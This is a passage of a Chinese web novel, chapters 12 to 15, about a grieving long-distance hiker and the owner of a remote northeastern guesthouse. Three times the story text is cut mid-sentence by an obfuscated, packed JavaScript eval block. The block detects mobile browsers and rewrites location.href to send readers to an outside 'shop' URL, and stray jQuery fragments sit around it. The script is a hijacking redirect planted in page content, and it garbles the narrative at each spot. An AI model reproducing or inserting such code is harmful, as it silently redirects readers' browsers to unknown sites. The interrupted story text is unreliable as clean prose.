每隔十天半月,卧室门后悬挂的千纸鹤就会少一只。起初你并未在意,以为是频繁地开门关门引起千纸鹤翅膀上的棉线老化断裂脱落。直到某天你看见悠悠叼着东西溜进影音室,你才明白这个小家伙的良苦用心。 江子墨惊诧不已:“金毛的智商这么高吗?” 你点点头:“对啊,它们被选中当工作犬就是因为高智商。” 江子墨若有所思,端起茶杯喝了一口,茉莉花的香气令他茅塞顿开。“原来如此!我说它怎么直冲我而来却乖乖趴下,因为它知道我是住店的客人,所以按照春夜雨声的服务准则它不会咬我。” 你忍俊不禁:“悠悠从不咬人。在它眼中,人类这个群体没有坏人。” 他放下茶杯,话语中既有窘迫的成分,又带着几分释然:“小狗的嗅觉确实灵敏,它能在人群中精准地定位最怕狗的那个人。” “悠悠平常不上楼,只在一楼活动。晚上那会儿它悄悄溜掉,等我发觉不对劲去找,它已经跑到309门口了。” 他说:“幸好悠悠是金毛,假如是条比格,它肯定咬住我的裤腿,一路拖拽把我拽下楼梯。” 你笑出声,不小心被水煮蛋的蛋黄呛到,咳个不停。 江子墨抬手想帮你拍背,手伸到半空却及时收了回去。他起身拿来一只空纸杯,接了半杯饮水机里的温水,等你咳嗽缓解了才递给你。 “怪我,不该吃饭的时候和你聊天,喝点水润润嗓子。” 你摆手表示你不介意,同时向他说了声抱歉:“对不起,我没有嘲笑你。听了你的话,我想起第一次和悠悠见面给它洗澡的情景,好多年前的事了,当时闹了大乌龙,还好老夏没生气。” 江子墨抬眸,注视着你的眼睛。他的目光如雪后暖阳,不经意间抚平了你心头浮起的忧伤。 《春江花月夜》的前奏响起,他忽然拿起他的手机:“我的歌单你喜欢吗?” “喜欢。”你坦言,“可以分享给我吗?” 叮咚一声,新消息抵达。 你点击链接,把江子墨的纯音乐歌单加入收藏。正要问他想不想听听你的歌单,程燃出现在了影音室门口。 “小月,洗碗机修好了。” “辛苦你啦!” 你邀请程燃落座一起听音乐。他没推辞,坐到了你身旁,然后举起他的手机。 “听忱忱说今早这场纠纷影响了大家的心情,换首欢快的曲子怎么样?” 12. 第十二章 程燃命令般的提议,江念月没有接受。 “我们听得好好的,凭什么你一来就切歌?”她半开玩笑半严肃地说,“想听别的后边排队,这首《春江花月夜》播完才轮到你。” “切歌是有点唐突,你这么说倒是提醒我了。”程燃也不恼火,“不如晚上开个联欢会,组织大家唱K怎么样?” “不是谁都像你是个麦霸。天天带着你的学生唱歌还唱不够,又跑来刺激我们的耳朵?”江念月面朝你,抱歉地笑笑,“别搭理他,一说唱歌就疯了。” 你轻轻摇头,默然不语。 程燃将视线投向你:“子墨,你呢?晚上联欢会演什么节目?” 你嘴唇动了动,刚刚说出一个“我”字就被江念月打断了。“他身体还没恢复,晚上的事晚上再说。” 程燃想说什么又憋了回去,转而研究起茶几上的两份早餐。“小月,明天早晨给我也来一份你们的同款,主食加倍,热饮换成柠檬红茶。” 江念月捧着手机,认真地记录下来。 你从未谈过恋爱,却能敏感地捕捉到程燃对江念月单方面的情感表达不同寻常。一个假装无意的眼神,细微的表情和动作,都能充分显现这个男人掩藏不住的暗恋。 江念月编辑完备忘录,起身接听来电。从谈话内容不难听出,听筒对面是清早来过民宿的其中一位警官。 程燃和你一样,屏息静气地聆听通话内容,直到江念月摁下挂机键。 她回头,瞧见你们正襟危坐的姿势,不禁笑了:“事情基本解决了,你俩不用这么紧张。” 程燃松了口气:“我担心你啊!” 你悬着的心也放回原处,眼中的笑意被江念月看见了,她回你一个欣然明媚的笑。 “伍警官说熊沐诩承诺不会发布有关春夜雨声的视频。现在他和刘警官正开车赶去火车站,打算把熊沐诩安全送上车,再给她买些土特产。希望人心换人心,这事能告一段落。”她仰起脸,舒出一口气,“等雪停了我得去县城定制一面锦旗,好好感谢两位警官的帮忙。” “我陪你去吧?”程燃主动请缨,“你自己跑远路我不放心。” 江念月说:“我一个人习惯了,你多陪忱忱待几天。” 虽然遭到拒绝,程燃的热情却丝毫未减:“小月,不管你同不同意我都要陪你去,说定了啊,不许变卦!” 《春江花月夜》播放完毕,你连忙离开圆凳站起来,同时端走自己的餐盘。 “我断开手机蓝牙连接了,你们听别的歌吧。” 你的尴尬与窘迫,江念月看在眼里。她没说太多,只叮嘱一句按时服药好好休息,就坐回到沙发上,低头点开音乐APP页面开始选歌。 走出影音室,身后响起熟悉的旋律,是你剪辑纪念棉花糖专辑视频中用的一首配乐。 “雪一片一片一片一片,拼出你我的缘分。我的爱,因你而生,你的手摸出我的心疼……” 你握紧餐盘边沿,指关节陡然泛白。 乐声戛然而止。 你没走远,程燃已经切了歌。“心情够郁闷了,还听这么伤感的曲子?小月你可真叫人捉摸不透。” 江念月好像说了什么,你没有勇气继续听下去。把餐盘送进厨房,罗亦柯跟你说话你只是点了点头,逃也似的上楼回了房间。 喝下退烧药,你用被子蒙住头,泪水很快打湿了枕巾。 身体控制不住地颤抖。棉花糖与你相处的点点滴滴,化作一部定格动画电影,在你脑海中逐帧播放。 雪地里,它踩出通向远方的两行梅花脚印。冰凉的雪粒融化,它四只爪垫变得湿漉漉的,即使感觉到冷,它也没有停下脚步。 它一直向前,你一直跟在它身后。 凝望它的背影,凝望着它轻轻摇摆的毛茸茸的尾巴,你忽然坐直身体,擦去眼角的泪水。 无论面对多么恶劣的环境,棉花糖从不退缩,这就是它给你的启示。 走进浴室,你对着镜子,用民宿提供的一次性剃须刀刮掉新长出来的胡须。洗完热水澡,你换上洗净烘干的衣裤,把罗亦柯的训练服叠放整齐,装进手提袋,踱出房间敲了敲307的门。 “墨哥?”打开门的一瞬间,罗亦柯又惊又喜,“你回到颜值巅峰了!” 你把外套还给他,问他附近哪里能买到优质木柴。 罗亦柯反问:“你要帮春夜雨声囤物资吗?” “念月是我的救命恩人,这两天她像照顾家人一样照顾我,我想为她做些力所能及的事情。”你停顿半秒,接着说,“我马上启程了,打算采购三吨木柴码在房前屋后,帮她度过这个冬天。” 罗亦柯鼻子一酸,眼圈顿时红了。 “墨哥……” “奥运会遇见超强对手都没哭,现在也不许掉眼泪。”你上前,轻拍罗亦柯的后背,“大小伙子,记住,你是你小姨的坚实后盾,可不兴总哭鼻子啊!” “嗯,我记住了。”罗亦柯抹了把脸,“咱俩去趟管护站,杨站长应该知道哪里有卖木柴的,说不定林场就有销售点。” “你了解杨站长的喜好吗?” “墨哥你千万别送礼!”罗亦柯想到以前的糗事,脸色像熟透的红苹果,“我十四岁那年冬天,我爸我妈带我来找小姨玩,一家三口下了网约车就迷了路,在林子里走了半天,手机要么没电要么没信号,身上也没带应急装备,差点主动送上门成为野兽的下午茶。” 你饶有兴趣地问:“后来呢?” 罗亦柯说:“那天挺幸运的,走着走着就碰上了巡山的杨站长和他的爱人姜阿姨。他俩把我们一家三口送到春夜雨声就继续工作去了,压根儿没想过让我们报答。我妈问我小姨杨站长喝不喝酒,我小姨劝她打消送礼的念头,说实在要送就送锦旗和两件防水面料的羽绒服……” “我也是这么想的!” 你突然提高的嗓门吓了罗亦柯一跳:“墨哥你别激动,我还没说完。杨站长姜阿姨他们不收礼,只收了锦旗。” “收不收是一回事,我的心意必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029572|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须尽到。”你提议,“小柯,你陪我去趟县城,买好礼物咱们直接去管护站找杨站长。” 罗亦柯有所顾虑,压低声音说:“买三吨木柴这么大的事,征得我小姨同意再决定吧?” “什么都不做我更难受。”你心意已决,“穿外套吧,我在楼下等你!” - 如罗亦柯所说,杨站长只收锦旗,不肯收下羽绒服。无奈之下,你只好趁他不注意把羽绒服藏在管护站接待室沙发后面,然后和罗亦柯一起去了林场销售部。 交了定金,罗亦柯提出带你去一个好地方。 “墨哥,你有多久没滑过冰车了?” “不算徒步这八年在冰面上行走,我高中毕业以后就没玩过冰上项目了。” “那待会儿你正好热热身。”罗亦柯说,“你还不知道吧?估计我小姨没顾上向你推荐,离春夜雨声不远有一口池塘,是因为地势低洼天然形成的。每到冬天,夏秋积存的雨水就会结冰,变成了低水位的迷你冰湖。” 前几天从医院回来,你确实看见了一块被冰雪覆盖的区域:“冰湖是在咱们上山必经之路的西边吗?” “没错!”罗亦柯向你竖起大拇指,“不愧是我墨哥,行走的天然指北针,野外辨别方向的神。” 你笑了:“夸张,我没那么厉害。” 罗亦柯说:“别谦虚啊,像你这种级别的大佬,谦虚就是骄傲。” 你无奈地摇头:“北疆之旅那次,棉花糖跟着我吃了不少苦头。我们不止一回掉进冰窟窿,衣服鞋子湿了是小事,只要命还在,我就会一直往前走。” 罗亦柯收住脚步,触动之余眼圈又红了。 “墨哥,你说的都是心里话吧?能亲耳听见你说你不放弃,我真高兴——” “我不会辜负念月对我的恩情。”你长舒一口气,“还有你和所有粉丝,你们是我坚持徒步的动力。” 罗亦柯眨眨眼睛,掉了好几颗小珍珠:“墨哥,我多想你能成为我的家人,你说的话、做的事,和我们这一大家子太对路子了!” 你笑而不语。 等罗亦柯缓了缓神,你才说:“相遇就是缘分,何必纠结其他?你们对我的情谊,我记在心里。冷极之旅结束,返回途中要是有时间,我再来春夜雨声住几天。” 罗亦柯破涕为笑:“嗯,一言为定!” 约莫步行了十分钟,你们站到了冰湖东岸。湖畔的木房子屋顶落满白雪,偶有小小的黑影掠过头顶树枝,罗亦柯说那是物资告急出来觅食的小松鼠。 “小木屋里有标记着我们每个人名字的冰车,我用我自己的,墨哥你任选一辆吧!” 你比较了一圈,最终选定被透明防尘膜盖着的最靠近窗户的冰车。 掀开防尘膜,你看清冰车上的姓名标签——夏炎川。 罗亦柯搬出他的专属冰车,回头来看你选的。不知怎的,他面色一凛:“墨哥,你决定了吗?这辆还是换别的?” 你说:“不换了,这辆冰车和我投缘。” 13. 第十三章 接到林场木柴销售点的电话,你一时没反应过来。 得知订购人是江子墨,你连忙去309找他,却发现他不在房间。隔壁307的罗亦柯也不知所踪。 与销售点再三确认了木柴等级和重量,你摁下挂机键,徐步走下楼梯。 程燃察觉你脸色不对,误以为是又有人来找麻烦:“这回是哪个住客想讹钱,我跟他过过招。” 你摇头,坐进沙发眉头依然紧锁。 “小月,快来看!” 程燃急急地喊你。 你听见了,微微抬起头,不曾想大厅门外突然乌泱乌泱站着许多人。 眼前情景像极了你昨晚听书听的末世文,这些背包客戴帽子戴口罩,脸挡得严严实实,衣服鞋子沾满冰雪,仿佛是从很远的地方跋涉而来。 赵思忱在房间直播,毫无接待经验的程燃只得临时担任前台,招呼来客做登记。 你为等在大厅的客人端茶倒水,稍清闲时立刻发信息给赵思忱。 “一楼来了十五位新客,忱忱,是你在直播间打了广告吗?” “姐姐,不是我,我正在给粉丝介绍自然保护区、周边滑雪场和特色农村大集。” 奇怪。 你思忖片刻,拨出江子墨的号码。 铃声响过三遍,对面接通了。“怎么了,念月?” “你和小柯在一起吗?” “我们在冰湖这里。”他的声音高亢嘹亮,完全没有了初次见面时的低沉沙哑,“小柯推荐我滑冰车,我觉得非常不错,你把它列为民宿游玩项目吧,可以增加收入!” 林中信号不佳,听筒里滋啦滋啦的电流声叩击着你的耳膜。 “有件事我要问你——这会儿突然涌进来好多客人,是不是你发视频做的广告?” 江子墨答得相当快速:“我没有。你说过春夜雨声只接待有缘人,我不会做让你为难的事情。” 你决定暂且相信他。 “木柴是怎么回事?民宿这边有电,地下室也有柴油发电机,储备三吨木柴难道你要让我开家烧烤店吗?” 听筒那边安静了六七秒,江子墨的声音远远传来:“我发现悠悠特别喜欢趴在大厅壁炉前面地毯上,就想着多买些木柴,把一楼的温度提上去,这样不管是人还是小狗,谁都不会挨冻。” 你心中一动,思绪乱了,半晌才对他说了声“谢谢你”。 “既然是朋友,总说谢谢就生疏了。” “好,以后我不说。” 听筒那头的声音时断时续,你好不容易才听清江子墨的话:“你和程燃先应付着,我和小柯尽快赶回去!” - 春夜雨声上次客房爆满还是六年前。 当时是冰雪节旅游旺季,景点和滑雪场周边的酒店民宿被南方游客订购一空。文旅部门通过林场负责人找到了你,询问你春夜雨声的客房能容纳多少位住客。 你如实相告——共三十间客房,十五个标准间,十五个大床房。倘若需要,游戏室和影音室也能腾出空间住八至十人。 与你对接业务的文旅局工作人员名叫帅小山,是个说话做事雷厉风行的女孩子,姓氏独特,名字中性,相貌声音与赵思忱有七分相似。和她打交道的过程中,你始终觉得亲切。 你的朋友都是常见姓,认识帅小山是你第一次接触帅这个稀有姓氏。 今天忽然来了这么多客人,你最先想到的就是帅小山没提前打招呼帮忙做的推介。 你随机拦下一位新客,不料她的回答模棱两可,一会儿说是从网约车司机那里打听到的,一会儿又说拖着行李路过山脚下民宿的指路牌,为了满足好奇心就来住两晚。 拨打帅小山的手机,机械的电子音提示你对方正在通话中。 问题太多,你按照轻重缓急迅速排序,打算把紧急且重要的解决掉再考虑其他。 你盘点完食材库存,正要上楼为客人送儿童枕,江子墨和罗亦柯推门走了进来。 “破案了,小姨!帮咱们广而告之的是那天送墨哥和我回来的司机师傅。”罗亦柯晃了晃手机,“刚才他给我发信息,问我春夜雨声能不能同时接待十几个人,还问我有没有空房间,他想订房陪老伴儿过个浪漫的周末。” 你望望在前台忙碌的赵思忱,远远地打了个问号的手势。 赵思忱高举双手,左手比零,右手比三,紧接着双臂环成圆圈,用手势提醒你仅剩大床房。 “三间大床房。”你说。 “帅师傅不挑房型,我这就给他回消息。” 你摁住罗亦柯的手:“司机姓帅?” “嗯,很稀有的姓。”罗亦柯点开好友详情页,让你看他标记的备注,“五星司机,帅万辉师傅。” 帅万辉,帅小山,父女俩? 你的猜测很快得到了印证。 帅小山在回电里说,周末是她爸妈结婚三十周年纪念日,她想请你帮忙出出主意,双人份的爱心晚餐应该吃哪些寓意好的菜。 你说给你两个小时斟酌,稍后再通电话。 人与人的缘分,奇妙而温暖。 六年前,你协助帅小山圆满地完成工作,和她成为朋友;六年后,你帮帅师傅叫拖车、送他充电宝应急,他如今成了春夜雨声客满的贵人。 情谊是相互的,有来有往。 在创意制作结婚纪念日爱心晚餐这件事上,你发自内心地想要交一张完美的答卷。 安顿好新住进来的客人,时间已是差十分十一点。 因人数众多,你叮嘱赵思忱随机应变,将今明两天的早午晚餐由个性化定制改为风格统一的菜单,打印出来发放给每位客人。 踱进厨房,你摘下门边挂着的围裙,却瞧见江子墨和罗亦柯已经在洗菜切菜了。 “小姨——”罗亦柯喊你,“墨哥说你一个人忙不过来,今天我俩负责打下手,你负责炒菜。” “辛苦两位。”你上前,看了看数十个盘碗中无可挑剔的备菜,困扰你的焦灼顿时烟消云散,“谁的刀工这么好?百分之百不是小柯。” 罗亦柯眼睛瞪得溜圆:“夸墨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029573|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥你直接夸啊,不准拉踩!” 你不语,只是望着他笑。 江子墨抬起右胳膊肘,碰了碰撅嘴想要罢工的罗亦柯:“好好干活!闹情绪中午没饭吃。” 罗亦柯“哇呀呀”叫了一声,用力掰开手中的卷心菜。 “坏小姨,坏墨哥,你俩合伙欺负我,等磊叔回来,我得让他评评理!” “谁找我?” 曹磊风尘仆仆地出现在厨房门口。他双手各拎一只超大号的购物袋,里面装的食材令你惊呼不已。 “磊哥,你办事无与伦比的靠谱!” 腊肉、腊肠、火腿,酸菜、泡菜、腌制雪里蕻,极大程度地丰富了菜单的内容。你没想到的,他全都做到了。 曹磊放下购物袋,走到水池边洗手。 “不错,看得出子墨厨艺水平很高。小柯还得加练,努力向你小姨和子墨学习,争取早日出师。” 罗亦柯以为曹磊和自己一伙,结果被说教一通,掰卷心菜又掰得手疼,想哭的心思都有了:“两个人欺负我还不够,磊叔你怎么也这样?” “臭孩子,这叫点拨,不叫欺负。”曹磊拍拍罗亦柯肩膀,“你的手是握球拍的,做菜不适合你。上楼休息去,元旦之后你要参加WTT冠军赛,养精蓄锐才能拿第一。” 罗亦柯执意要帮忙,曹磊看看你,像是在说这孩子和你一样犟。 你笑了,系好围裙开始蒸米饭、蒸面点。“没事的,磊哥,让小柯锻炼锻炼。将来他出国打比赛,学会做饭总比啃干巴面包强。” - 夜深了。 你安抚做噩梦的悠悠,为它盖好毯子。钻进被窝,你难得有了沾枕即着的睡意。 曹磊先后运来的两批物资,江子墨专程去林场订购的木柴,他们准确的预判,解了你的燃眉之急,令你心生佩服。 春夜雨声总共有五个壁炉,分布于一楼大厅、影音室、游戏室,以及三楼东侧西侧的两间高穹顶特色房。 五间房内饰的画作是老夏帮你选的,它们分别是蕴含诗意的临摹版《洛神赋图》《烟江叠嶂图》《桃源问津图》《辋川图》和《千里江山图》。 起初,你并不懂得如何欣赏这些画作各有千秋的美,也没读懂老夏借画寄托的情思和深意。直到去年春天,你带悠悠回燕都,在农大动物医院做全身体检,结识了一位从事字画修复的非遗传承人盛老师。 经他老人家细致的讲解,你明白了老夏想要对你说的话。 他劝你看开,劝你放手,劝你不要执着于过去,要向前看,要好好生活。 道理你都懂。 然而你做不到。 盛老师听完你和老夏的故事,赠给你一幅字,出自苏轼的《望江南·超然台作》。短短五个字,惹你泪流不止。 ——诗酒趁年华。 “你的爱人是个很好的人。”盛老师说,“他借这五幅画告诉你,以前的事该忘了,小月,你能做到吗?我想,你一时半会儿做不到。没关系,慢慢来,总有一天,你能理解他的苦心。” 14. 第十四章 清晨四点半,你置顶了你的评论:即刻启程。 消失在社交媒体的七十二小时里,你视频的评论区和后台私信剧增,大部分是粉丝发的,偶尔穿插一些品牌方的广告邀约。 你没有回复,点掉提醒就将手机锁屏。 收拾好床铺和装备,你抬头看了一眼房间门后的温度湿度计,室温23度,相对湿度55%。 实在舍不得离开这么温暖的地方。 更舍不得与待你如家人的朋友们分开。 轻轻拉开房门,你走到楼梯口,朝一楼大厅方向张望。江念月应该还没开始做早餐吧?昨天晚饭过后,你和她一起制作了五十份早餐面点,又在她忙着解答客人疑问时卤好了二十斤酱牛肉。 有了网约车司机的大力推荐,春夜雨声过年前的客源不用愁了。 大致估算了时间,等你从根河市返回,差不多也到了农历腊月二十四左右。你还不确定江念月是否留在民宿过年。如果她留下,你想提前预订房间,在春夜雨声住上十天半月,好好享受放空的日子。 你来到她房间门外,把昨晚写的一封信折成四方块,从门下方慢慢塞了进去。 当面告别太过伤感,发信息又缺少诚意,你希望通过这种功能方式和她说声再见。你直起身体,刚迈出一步,门把手突然转动一下,门从里面打开了。 悠悠从门缝里露出黑色素褪去的鼻头,喉咙里发出低低的声音。 你壮着胆子摸摸它,小声说把门关上。悠悠听懂了,扬起下巴冲你眨眨眼睛,抬爪推上房门。 门锁的咔嗒声和防盗链的摩擦声吵醒了江念月。 不等你转身,她已经披着羽绒服站在了你面前。“起这么早?”她回头望望屋里的时钟,“昨晚你陪我卤肉卤菜到半夜,今天多睡一会儿才能养足精神。” “我要出发了。”当面道别,你有些赧然和不自在。 “千万别再去大采购,我这儿物资充足。”她显然没反应过来,“我想着上午九点以后给萧医生打个电话,请她来帮你检查脚伤。” “不用担心,伤口结痂了。”你说,“念月,我行李收拾好了,外面雪也停了,我……” 她怔怔地望着你,半晌才明白你想说的是再见。 “小柯和我都觉得你应该多休息几天。不过这样也好,按照你的计划徒步到根河,抵达终点的时候刚好是立春,那时天暖和了,露营就少了很多危险。” “这些天幸好有你们照顾,我恢复得很快。”你说,“本来不敢当面道别,我写了封信,刚才塞进门里,被悠悠发现了逮个正着。” “有什么不敢的?”江念月笑了,大方而明媚。她回头一瞧,果然,悠悠嘴里叼着一封信。 她弯腰拿过信,并未立即打开。 “子墨,你先回房间搬行李,我准备一些食品药品你带上,以备不时之需。” 你刚要说谢谢,忽然间想起你们的约定,连忙收住了话头。等你把装备全部搬下楼,江念月递过来一个防水面料的大号斜挎包。 “三个夹层,左边是干酪、黄油和压缩饼干,右边是常备药,中间一层我装了火柴,用保鲜膜和油纸包了好几层。” 你接过斜挎包,胸口像堵了棉花般说不出话。 “我可得提醒你,保护区周边禁止使用明火。往北走出这片林子,看到主路的指示牌,然后你往西再往北,五十公里以外有理想的露营地。” 你抬眸。 目光交汇的刹那,你清晰地听见自己的心跳声。 “这条路线就是我做的规划。念月……你研究地图了?” “没什么,新粉丝做的一点功课。”她示意你稍等片刻,小跑着回了趟房间,手里拿了个透明文件袋,郑重地交给你。 “这是?” “我在储藏室找到的旧地图,姥爷亲手绘制的。虽然没有新修的公路和信号塔,但河流走向和野兽出没点变化不大——你收好,带在身上当个护身符。” “太贵重了,我不能要。” 你连声拒绝,却没有江念月手快。她拉开斜挎包中间层的拉链,把旧地图和火柴放在了一起。 “我说拿着就拿着!” “等我回来……”你极力按捺心中的激动,又发觉语言不足以表达你真实的想法,短暂冷静后你向她伸出右手,“等我从根河回来,我想和你再见一面。” 她轻轻握住你的手:“也许我要回老家过年,现在还说不准。” 你说:“交通发达的时代,不管你在哪里,我都有办法见到你。” “是啊,到时咱们约个时间地点,我请你吃烧烤。”她不无担忧地看着你,好一会儿才说,“保持联络,注意安全。” “好。”你松开手,退后半步站到行李旁边。 “那我回房间了。”她的声音微微颤抖着,“有事不要硬扛,记得好好照顾自己。” 你点点头:“我会的。” - 重回日行五十公里的行进节奏,你心无旁骛,埋头向前走。 抵达根河市得耳布尔镇,比预估时间提前三天,你选择住店休整。不同于去冷极点打卡拍照的游客,你的目标除了冷极点和冷极村,还有根河市北部的一座山峰——大兴安岭北段主脉最高峰,海拔1523米的阿龙山奥克里堆峰。 你曾许诺带棉花糖攀上这座以保存古冰川遗迹闻名的山峰。 如今棉花糖不在了,你决定怀揣着装有它胡须的玻璃瓶,登上山顶让它看一看云端的风景。 下山途中,你收集了落叶松的松针、柴桦的枝条和几枚颜色各异的小石头,连同你在当地购买的土特产一块儿打包。开启冷极点直播的前一天,你在当地邮局寄出包裹,收件地址是春夜雨声,收件人是江念月。 把单号拍照发给她,你简短地写了一句:可惜山顶积雪和山腰泉水无法邮寄。 她没有回消息,也许在忙吧? 你下馆子吃了碗面,返回路上拍摄了一些素材,带回酒店剪辑。 正为配乐举棋不定时,你收到了江念月的消息。 “子墨,你姐姐来找你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029574|194525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。我安排她住在一楼我的对门115房间,看到这条消息给我回个电话。” 你以为自己看错了,拿着手机反复确认了三遍。 作为一间特色民宿,春夜雨声的地理位置极其隐蔽,不经熟人介绍带路根本找不到。再者,姐姐并不知道你冷极之旅的具体行进路线,怎么会如此精准地找到你曾经住过的店? 百思不得其解的是你,为明天直播焦躁的也是你。 这时,你无意低下头,瞥见身上穿的白色浴袍胸口绣有酒店Logo。急忙打开手机相册,你翻找二十多天前在春夜雨声的自拍,发给姐姐的那张。 果然,浴袍前襟有“春夜雨声”四个字的刺绣。 粉丝们总说你是地理达人、人形指北针,看来你的姐姐也是。仅凭民宿名称就能不远千里找上门,舍她其谁! 关键是年前这个节骨眼,丝雨绣坊的客流量是一年中最大的,潼城以及全国各地慕名而来定制绣品的人络绎不绝。抛下红火的生意不做,姐姐偏偏选在此时出行,莫非遇见了必须躲避才能解决的难题? 你关闭剪辑软件,点开和姐姐聊天的对话框,拨出视频通话。 铃声响过第一遍,姐姐没接听。你又拨,等待数十秒她的脸庞才出现在画面中。 “晚上再打吧,我和面呢!” “和什么面?”你一阵晃神,“念月那里不是有和面机吗?” “你是不是叫零下四十多度把脑子冻木了?油泼面怎么能用机器和面?”姐姐言语犀利,“我带了五斤秦椒辣椒面来,炸的辣子可香了!小月说她没吃过正宗的油泼面,我打算一展身手做给她吃。” 手机扬声器传出江念月的声音:“雨凝,葱花是用大葱还是洋葱,哪个味道更好?” 姐姐的脸骤然凑近,声音压得极低:“晚上八点再联系,我去做饭了!” 通话结束,你盯着暗下去的手机屏幕发呆。 小月,雨凝,你生命中两位重要人物一见如故。对你而言,这是好事。 不对……姐姐是不是误会了? 你心乱如麻,一筹莫展之际肚子又来添乱。烧了壶开水,你把下午买的桶面泡上,坐回桌旁继续剪辑视频。 笃笃笃! 房间的门被人敲响。 随即是客房服务员的询问:“江先生,您订的外卖到了。我给您送过来还是放在前台您自取?” “我没订外卖。”你隔着门板说,“麻烦您帮忙处理掉。” “确定不是您订的?”服务员也懵了。 “不是。”你说,“我在外面吃过晚饭才回的酒店。” “好吧,我知道了。” 你伫立门边静静听着门外的动静,等服务员走远,你挂上了防盗链,又拿了一只玻璃杯套在门把手上。 自从棉花糖出事,为了保障人身安全,你实时发布视频的习惯彻底改了。有时隔五天更新,有时会拖延至下一个地点才发上一个露营地的视频。 除了酒店工作人员,你想不出还有谁会暴露你当前的定位。 15. 第十五章 老夏生日那天刚吃过午饭,曹磊提议去冰湖散步。 罗亦柯第一个响应,随后是赵思忱和程燃。你把餐盘碗筷放进洗碗机,直起身来望着窗外发呆。 “小月,一起去吧!” “我想和若南姐通个电话,你们先去。”你没有转身,始终保持背对大厅方向,“还有东燕老师,我想听听她们的声音。” 风铃声叮咚响过,大家依次走了出去。 你又等了一会儿,等周围完全安静下来,你才回到大厅,坐进了沙发。一阵窸窸窣窣的动静过后,悠悠叼着珊瑚绒毯站在沙发旁边。 你摸摸它的脑袋瓜,俯身搂紧它的脖子:“谢谢我的乖宝。” 悠悠闷闷地哼了两声,像是告诉你它也想出去透透气。 “等我打完电话,给你找新买的雪地靴换上,然后带你出去遛遛。” 它听懂了,乖巧地趴在你脚边,尾巴轻轻敲打地板,一下,又一下。 电话那头,关于你的近况迟若南问得事无巨细,你也答得不厌其烦。东燕老师恰恰相反,她不是不关心你过得怎么样,而是有她为人处世的智慧,你们聊了很久,句句不提老夏,却句句都有老夏的影子。 东燕老师问你,过年回不回燕都。你说不回了,悠悠的身体状况禁不起长途跋涉。 老人家叹了口气,说她的学生有个非常不错的项目,急于寻找一位嗓音条件知性优雅的女配音员,你是她的最佳备选。 老夏走后,你再没进过录音棚。 这么多年过去,依然能得到东燕老师的青睐,你心中感激不尽。“不了,燕子老师,这个机会给更有实力的配音老师吧。我不能抛下悠悠,别人带它我不放心。” “好吧,小月,打理民宿的生意是次要的,最主要的是你要当心自己的身体,别累着,别硬撑。” “燕子老师,您也多多保重。” 将手机放到一边,你掀开膝盖上的珊瑚绒毯,麻利地站了起来。悠悠动了动耳朵,等待你的指令。 “宝贝,等我一分钟。” 你找来在网店为悠悠定制的防寒防水保暖外套和雪地靴,帮它穿戴整齐。出门前,你想起林场近几日的野兽出没预警通知,折返回来打开工具间,背好巡护背包,在羽绒服外面加了件反光马甲,又随身携带了一把小号工兵铲,这才踏踏实实出了门。 “念月,你的建议比我的原计划靠谱!我沿主路一直往北,绕开了禁火区,为保护地球尽了绵薄之力。” 江子墨发来信息时,你还没走到离冰湖一百多米的那片云杉林。 手机信号不是满格,不过信息能发得出去。 “路上有没有熊大熊二?你得眼观六路耳听八方,远离山洞、树洞,别靠近它们冬眠的熊仓。” 江子墨没回文字,发了条语音给你。 “熊大熊二目前没遇到,但是昨晚我看见东北虎了。网上教的方法不好用,我兜了好几圈才摆脱它。” 你的心悬在了嗓子眼。 握着手机的手不由得有些颤抖。“下次再有这种事,你得及时向周围的村民求助!别逞能当什么孤胆英雄……” “天快亮的时候我遇见一位鄂温克猎人,大哥人很好,他给我很多吃的,又帮我把露营装备整理好,带我回了直通大兴安岭北麓的主干道。” 谢天谢地。你悬着的心回归原位:“那就好。” 走进云杉林,悠悠的步子慢了下来,喘气的声音有点粗重。它很久没走这么远的路了,一时不太适应。 冰湖旁的木屋近在咫尺,你的手机屏幕忽然闪烁着帅师傅的号码。 接通之后,对方语气急促地问:“江老板,江雨凝是你的朋友吗?她现在在我车上,犯了低血糖,我要送她上医院,她说她想直接去春夜雨声和你见面,我不知道该怎么办了……” 你记忆中没有江雨凝这个名字的熟人。 亲戚朋友,街坊邻居,师长同学,与你同姓的不算少,但名叫江雨凝的数量为零。 “帅师傅,您送她过来吧,我到山脚下接她。”你解开悠悠胸背上的牵引绳锁扣,打电话给曹磊,“磊哥,你来木屋这边接一下悠悠。帅师傅送了位低血糖的新住客,我得赶过去接人。” 曹磊应声跑到近前:“低血糖了不去医院,跑春夜雨声来干嘛?小月你加点小心,要是来者不善,你立刻联系我们。” 